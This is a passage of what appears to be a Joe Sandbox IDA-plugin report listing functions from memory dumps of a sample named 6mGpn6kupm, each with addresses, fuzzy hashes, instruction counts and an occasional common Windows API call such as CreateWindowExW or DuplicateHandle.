Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d69cb1b8ef5966cda3f566f98d5d4fce34938ee3216ee53f38a1b84e654213e6
Instruction ID: 1ef4ad3cb0aaab6f351ebfa87fc45426b96dad521c471368e3668596824def4b
Opcode Fuzzy Hash: d69cb1b8ef5966cda3f566f98d5d4fce34938ee3216ee53f38a1b84e654213e6
Instruction Fuzzy Hash: 0951C0B5D00348AFDF14CF9AC884ADEBBB1FF49310F64852AE819AB251D771A845CF91

Function 37FB0110 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 37FB0222

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0754a676ed3f99f782a4e6a6323749b01d5a952b12c9553823ab42179ca87437
Instruction ID: 8d2aff5053b1da38517534145c223c171d1a817ddea83627ca0556f5bc8d5a8f
Opcode Fuzzy Hash: 0754a676ed3f99f782a4e6a6323749b01d5a952b12c9553823ab42179ca87437
Instruction Fuzzy Hash: 9641C0B5D003499FDF14CF9AC880ADEBBB5FF48310F64852AE818AB210D771A885CF90

Function 37FB1DC0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 37FB1E81

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: d8d3199f3f7cfd037fbcaeb62740626f277e4466abbdee46155f2aa747bd0355
Instruction ID: ddf914ebbf7eb08a0342f09ba6c24580a46663d36c5b666a96c57bb9cd57df02
Opcode Fuzzy Hash: d8d3199f3f7cfd037fbcaeb62740626f277e4466abbdee46155f2aa747bd0355
Instruction Fuzzy Hash: 584107B9900305DFDB24DF9AC484AAABBF5FF88310F24C859D519AB321D774A841CBA1

Function 37FB0BC0 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37FB0C4F

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a1f73865e5fc71a3f87d097d53c1a1a61029f5367fa0408ca01a298bd4470b69
Instruction ID: 33a2e2b73f61cc2893238079ec00c6c941206e7a8cf4cc5fba9288ed86af1730
Opcode Fuzzy Hash: a1f73865e5fc71a3f87d097d53c1a1a61029f5367fa0408ca01a298bd4470b69
Instruction Fuzzy Hash: B321E4B5D01208EFDB10CFAAD985AEEBBF4FB48310F14841AE959A3350D375A941CFA5

Function 37FB0BC8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37FB0C4F

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 52b6d655205f043eeea327ac84334fd1fad8ca6414ed90e7e4768666ef79f9cc
Instruction ID: d2d04950ee32564e6745e31304da326a5142170d88729e7b9636be01a5e19058
Opcode Fuzzy Hash: 52b6d655205f043eeea327ac84334fd1fad8ca6414ed90e7e4768666ef79f9cc
Instruction Fuzzy Hash: 1921C2B5901248AFDB10CFAAD984ADEBBF4FB48320F14841AE958A3350D375A940CFA5

Function 37FBD3E8 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 37FBD445

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f4d0c4288ed84afca20aa40ccb4b399d8ce8e815c47f7dd3a47bd335bb910273
Instruction ID: bd03a99703fdb40bdce4a71faa277dbb888d9bbf75393c196d2ec1a95a38baf5
Opcode Fuzzy Hash: f4d0c4288ed84afca20aa40ccb4b399d8ce8e815c47f7dd3a47bd335bb910273
Instruction Fuzzy Hash: 991122B59003488FDB20CFAAC444BDEBBF4EB49320F248859D518B7241C378A944CFA6

Function 37FB2018 Relevance: 1.5, APIs: 1, Instructions: 47
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(?,?,?,?), ref: 37FB207D

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 8fa93dc31ea9b112bea49e8039a8f012a900297d74166ece99830403497bd82d
Instruction ID: a1fb1da658e3241ddfceece631afc201f6f16c909a7002f59aa18cdab82ecbfc
Opcode Fuzzy Hash: 8fa93dc31ea9b112bea49e8039a8f012a900297d74166ece99830403497bd82d
Instruction Fuzzy Hash: 771122B58003099FDB20CF9AC845BDEBBF8FB48320F108819E918A7250C375A980CFA1

Function 37FBC60C Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,37FBD92F), ref: 37FBE72D

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 112daf4413e516e459ee855d729caf0f71009ce9548d11e9f956d431cd1663a6
Instruction ID: b79108a126091e6c2be72d278f109a23d546e737f28cda9c12313c6050c56631
Opcode Fuzzy Hash: 112daf4413e516e459ee855d729caf0f71009ce9548d11e9f956d431cd1663a6
Instruction Fuzzy Hash: 6A1110B5D042489FDB20CF9AD444B9EBBF4EB48224F24842AD828B3200D378A544CFA5

Function 37FBC560 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 37FBD445

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ca0500edd508e657a00e2e768d3ac0f208c6256695b8fb7f7bef79881133b5f9
Instruction ID: 4175d83134ac3b92c02d3c20fee071849af72299c318d238af7e52bad01e03cf
Opcode Fuzzy Hash: ca0500edd508e657a00e2e768d3ac0f208c6256695b8fb7f7bef79881133b5f9
Instruction Fuzzy Hash: C31133B5904348CFDB20CFAAC444B9EBBF4EF48324F248859D518B3200C375A940CFA5

Function 37FBE6C9 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,37FBD92F), ref: 37FBE72D

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 6e829a29d89387bd62228dc84c00940e2668eea6f5904ac790d7656344190566
Instruction ID: 491ce45f02af521d8c077d58d147dd0a24073f6a034558554b3371a16a1729ed
Opcode Fuzzy Hash: 6e829a29d89387bd62228dc84c00940e2668eea6f5904ac790d7656344190566
Instruction Fuzzy Hash: 8C11FEB5C006489FDB20CF9AD584BDEFBF4EB48324F24841AD469B3250D378A644CFA5

Function 37FB2020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 37FB207D

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: b0834075527de2192fd03c91daabb3cd1f9791e052203b69ac8ffab1aafe760d
Instruction ID: 087b662fc94fe823776ad8dfa8fc300bb459e05d7ad57490f8316c7f597ca865
Opcode Fuzzy Hash: b0834075527de2192fd03c91daabb3cd1f9791e052203b69ac8ffab1aafe760d
Instruction Fuzzy Hash: 6711D3B58003499FDB20CF9AD445BDEBBF8FB48320F148419D959A7210C375A984CFA5

Function 00157458 Relevance: .7, Instructions: 704COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8502230843d1ccc90769cf9d796c466cc8659f1102a3416667a53876a3dcc6a1
Instruction ID: 90b3a85c3fb1c9bda29469609c3dc1519f8466b81b0d21b93b4f260828ad1e22
Opcode Fuzzy Hash: 8502230843d1ccc90769cf9d796c466cc8659f1102a3416667a53876a3dcc6a1
Instruction Fuzzy Hash: 7552EF34A00219CFEF29DBA4C851B9EBB72EB44300F1080A9D51A7B7A5DF355E86DF61

Function 001519B8 Relevance: .7, Instructions: 685COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e967b55b6917f4b8bfc0b50c296dedc990f5ecfe25449fd3956f51c814b6a6
Instruction ID: f2f04af4eafd515cfedbaeae7e0fa38cc182f2c1f08cbddbaa622e9c5664500d
Opcode Fuzzy Hash: d9e967b55b6917f4b8bfc0b50c296dedc990f5ecfe25449fd3956f51c814b6a6
Instruction Fuzzy Hash: 6E42D9A7E1D7E18FCB124B705CB82597FB17B22106BEE459EC8C297283EBA54485C353

Function 001566B8 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67abd2a9e40f804478bb020c445c7fd394f2ebdbd0a93bdbf64b33fb8d74c0a1
Instruction ID: 629b8648a353c06a247fc73d4a11045ad9dc5853c1eb2cbf3fd24ad20631fad0
Opcode Fuzzy Hash: 67abd2a9e40f804478bb020c445c7fd394f2ebdbd0a93bdbf64b33fb8d74c0a1
Instruction Fuzzy Hash: 64126930A00208CFDB14CF69D984AAEBBF2FF48315F558559E869EB261DB30ED45CB90

Function 00154F00 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d4c1def118e214f8c1b027b6d95082e7d647c962e76d7837b4ea7e0e85f87cc
Instruction ID: 7b428b05646301b8c3ce3d059fa2619cdf0070961e3cdfdd244f8c4aa3163eef
Opcode Fuzzy Hash: 6d4c1def118e214f8c1b027b6d95082e7d647c962e76d7837b4ea7e0e85f87cc
Instruction Fuzzy Hash: C7B1B130304611CFDB199F39C8A4B6E7BA2AF88316F154569E816CF3A1DB74CC89DB91

Function 37A8C175 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d79074e9b9f2aebeb2257fc69f9ec6e982df56630c1146fb892a1f31af7d23
Instruction ID: 2f2a403a6ddb47eae4b66fc26a7fe6eeec56218f80d55281d08411ee85022c21
Opcode Fuzzy Hash: d6d79074e9b9f2aebeb2257fc69f9ec6e982df56630c1146fb892a1f31af7d23
Instruction Fuzzy Hash: 3EE1E534A00218CFEB25DF64D994BADB7B2FB89301F5085AAD80A77790CB355E82DF54

Function 37A8C173 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2796575cc8cb17ab349b05229b6417ebf18e916dd344a56a378040bd210dbf29
Instruction ID: 621fffc94eca61cfe0e20395981faae200f7345e9b7fca05a25a985ae7968625
Opcode Fuzzy Hash: 2796575cc8cb17ab349b05229b6417ebf18e916dd344a56a378040bd210dbf29
Instruction Fuzzy Hash: 5FE1E534A00218CFEB25DF64D994BADB7B2FB89301F5085AAD80A77790CB355E82DF54

Function 00155460 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13010d3d06049e9c6e710e6f316109cf07bb5260a771816efc1273085857e9e5
Instruction ID: 1b5dfb0b33e3826800f9dcf83d82bd28ad7ddee06a24b8a42612023255ee3439
Opcode Fuzzy Hash: 13010d3d06049e9c6e710e6f316109cf07bb5260a771816efc1273085857e9e5
Instruction Fuzzy Hash: C4818E70A00945CFCB14CF69C4A4AAAB7B3BF88316B658169D825EF361E731EC45CF51

Function 00150B29 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c3f240d6a4ab5202e6c4984ada447bf5c9614eb0b3bf3830fb21c4598180e6e
Instruction ID: 6d25c4837a9c50aab6675c4799065ad4143ebeee9e9f20ff2d5bfd479bca54df
Opcode Fuzzy Hash: 2c3f240d6a4ab5202e6c4984ada447bf5c9614eb0b3bf3830fb21c4598180e6e
Instruction Fuzzy Hash: EFA1E574A10249CFDB04DFA8E984A9DBBB2FB49301B508229E405BB365DF746D87CF94

Function 00156C98 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67ef7e15cb7c7370d5616d4ffba6fea904f71f70d213cc95be7bd30c2ab341da
Instruction ID: df8dfb34de2a3d4ce6d863ab0c37b018c9c3a223c4784255c21b1571725238cf
Opcode Fuzzy Hash: 67ef7e15cb7c7370d5616d4ffba6fea904f71f70d213cc95be7bd30c2ab341da
Instruction Fuzzy Hash: F3712434700205CFCB14DF68C895A6A7BF6EF59702B5944A9E826CB3B1DB74EC85CB90

Function 0015AF90 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a363d457fc49001b96b13ba816f18742cec12ad12ebb50b1739190cca375b62a
Instruction ID: a850dac9f821b6e50bcf6bc45f0aedfbb8162284fd2ea3ff6a45996e24b78206
Opcode Fuzzy Hash: a363d457fc49001b96b13ba816f18742cec12ad12ebb50b1739190cca375b62a
Instruction Fuzzy Hash: 50719031608655CFC715CF28C8D8A6A7BB1FF46312B168499FC699F2A2C731EC49CB91

Function 00150B30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cd11bc7ee76ad11fba1a51c7c5566c1e098a5a7e0a30612e0762d5df23e5b46
Instruction ID: 1ec576f54f0fb58074811310e9ef588d8a7d68197916028c39ab362ab4603a6c
Opcode Fuzzy Hash: 7cd11bc7ee76ad11fba1a51c7c5566c1e098a5a7e0a30612e0762d5df23e5b46
Instruction Fuzzy Hash: BFA1D674A10209CFDB04DFA8E984A9DBBB2FB48301B508229E405BB365DF746D87CF95

Function 00158A4B Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d62050e3876aa9a7bdb7e9033001327ebddcde75164e157c3921bb12e395732
Instruction ID: 0431c2a247cad139fadc28329406ddba027eccf7f1710f610848fd169b4f74b3
Opcode Fuzzy Hash: 9d62050e3876aa9a7bdb7e9033001327ebddcde75164e157c3921bb12e395732
Instruction Fuzzy Hash: A4712634A04205CFCB11CF28C8805AEBBB5FF85321B1585A6D865EB362D731ED1ACBA1

Function 00158D90 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 199ad280cfa13de3091a6655d8256270be10b5ce53c0d9dc536745ee808f8653
Instruction ID: 3223b7fb9e74766624b1f91563788ffd232cbfffcbce5a9db99c0cdc683efa14
Opcode Fuzzy Hash: 199ad280cfa13de3091a6655d8256270be10b5ce53c0d9dc536745ee808f8653
Instruction Fuzzy Hash: 9E519F70A04215DFDB14DB69C8916BEB7B6EF88301F14846AE821FF251DF34CD898BA1

Function 37A8FAB0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ebb3eda1588e46a7da741383a983da092b7253c73d209171976e555349b6620
Instruction ID: 3e01b6eebcafe59ad5c7acb7abc145a09b73e3941160c08c00d4343678c2e3b3
Opcode Fuzzy Hash: 6ebb3eda1588e46a7da741383a983da092b7253c73d209171976e555349b6620
Instruction Fuzzy Hash: 8871F675E00619DFDB15DFA5C8686ADBFB2FF98300F10812AE806AB350DB349986CF45

Function 37A8C4CF Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b05bdebfd345f8fc4fdd58d38a2d4d0ec81bf3224834e6b5faf36621cfa2b233
Instruction ID: 89d61cc22661da9cf45127fa290a4595e67c030596d931c247a705ba4737524d
Opcode Fuzzy Hash: b05bdebfd345f8fc4fdd58d38a2d4d0ec81bf3224834e6b5faf36621cfa2b233
Instruction Fuzzy Hash: 6D610734A00258CFEB15DF64D894BADB7B2FB88700F1084AA990A777A4CB715D82DF14

Function 37A8D548 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2821c7b28d1b6c1f2369ad7c2d45b9434237b6e6513c6a63ad5683563afac77
Instruction ID: f2e107f0e786e93f08672a2e928a5c68fd8a7f3dcf7ff3a4c5b12684a17de323
Opcode Fuzzy Hash: f2821c7b28d1b6c1f2369ad7c2d45b9434237b6e6513c6a63ad5683563afac77
Instruction Fuzzy Hash: EF514170A002099FDB05DFA8D591A9EBBB2FF89300F108569D045BB362DF71AD46CF65

Function 37A87920 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ad79d95f44949d1345e595af9cdecdb0697d24dbaa56c793345fa19aba96024
Instruction ID: d8c81ad79d1ad5f9833d307560e11c329367f4470d02577453fa6fddadfb63f6
Opcode Fuzzy Hash: 7ad79d95f44949d1345e595af9cdecdb0697d24dbaa56c793345fa19aba96024
Instruction Fuzzy Hash: 3D51CE74D01218DFEB14DFA5D894BAEBBB2FF88301F608129D805BB2A5DB755986CF40

Function 37A8CC28 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6a2c3c89de5d5eee97807331e9668259c76e1ed2bf0dde4296c628a16bf10e
Instruction ID: 6c374de0501ccd2fcf5f1e6769d1b5e24951fe0b01183fa0e7fc2e389d541fae
Opcode Fuzzy Hash: 2f6a2c3c89de5d5eee97807331e9668259c76e1ed2bf0dde4296c628a16bf10e
Instruction Fuzzy Hash: 19519074E00218DFDB55DFA9C890ADDBBB2FF89300F608169D819AB365DB316986CF50

Function 00153168 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 736759f97760256fe8bb7810b3a3ba435a980d741a5f8dc115e2cf8bb7294563
Instruction ID: febf3eb147ae87a082f5162dd4cae05c4351021f48891a294a1429882c295020
Opcode Fuzzy Hash: 736759f97760256fe8bb7810b3a3ba435a980d741a5f8dc115e2cf8bb7294563
Instruction Fuzzy Hash: 7B519074E01208DFCB48DFA9D58499DBBB2FF89301B608169E819BB364DB35A946CF50

Function 37A88721 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e21780ada1c0e70910b4b778e7e89976b31c9d27a99d86a1212dbc7384ab9dca
Instruction ID: 7cf674afa87b8c376c379c8a478b23f06dbe928612b3523d707bfd3f4a3916c4
Opcode Fuzzy Hash: e21780ada1c0e70910b4b778e7e89976b31c9d27a99d86a1212dbc7384ab9dca
Instruction Fuzzy Hash: 9651B174D01228CFDB64DFA8D884BDDBBB2BB89301F5051A9D819A7350DB35AE85CF50

Function 001592C3 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a32cd1bc860a69bffab51faf865117265540ff30cf57b9727b3c35aaaaa6869
Instruction ID: 70e86848ca2e7740dcf01259e0439fc18a46c6675af2a25d965af9d0931deede
Opcode Fuzzy Hash: 7a32cd1bc860a69bffab51faf865117265540ff30cf57b9727b3c35aaaaa6869
Instruction Fuzzy Hash: 33518D31A04249DFCF15CFA4C984A9DBFB2BF49312F048156EC25AF2A1D334AD59DB52

Function 00159EB0 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f15ea807ffe8d0cb2a48e2ea302bc335554586ba69c61d6356afeab359bfa1cc
Instruction ID: e8ace22a6835def7f139b49ea081d300bdffb2c540a18fb22b508a4cfe98168c
Opcode Fuzzy Hash: f15ea807ffe8d0cb2a48e2ea302bc335554586ba69c61d6356afeab359bfa1cc
Instruction Fuzzy Hash: 3D41F231B042048FCB149B74D854BAE7BB2AFCC711F144129E91AEB7A1DF309C85CB95

Function 00158BF0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed22e1dcc1831311f437b9e368d51b01762b9f391e3bc579e44b24889be9f4b7
Instruction ID: 8eadef85e99eb5d7182bcfbe478a1890f1d225d7806d894ba19d6485baaaffd5
Opcode Fuzzy Hash: ed22e1dcc1831311f437b9e368d51b01762b9f391e3bc579e44b24889be9f4b7
Instruction Fuzzy Hash: A0417E30601245CFEB00DF68C884BAA7BA6EF89305F148466ED29DF291DB75DD49CBA1

Function 00154620 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9cbc482788e13a47b3f154f269d0faf59d5c4311f7bf6c43beb0e86fb2ad26d
Instruction ID: 491db253ab8235072fa5a5df1d3845469af67d92f16b4c9ee80bf2c8f5718e19
Opcode Fuzzy Hash: b9cbc482788e13a47b3f154f269d0faf59d5c4311f7bf6c43beb0e86fb2ad26d
Instruction Fuzzy Hash: FB31A131204109EFCF059F64D895AAE7BB2EF89305F108024FD299B255CB35DEA6DBA0

Function 37A8CF30 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

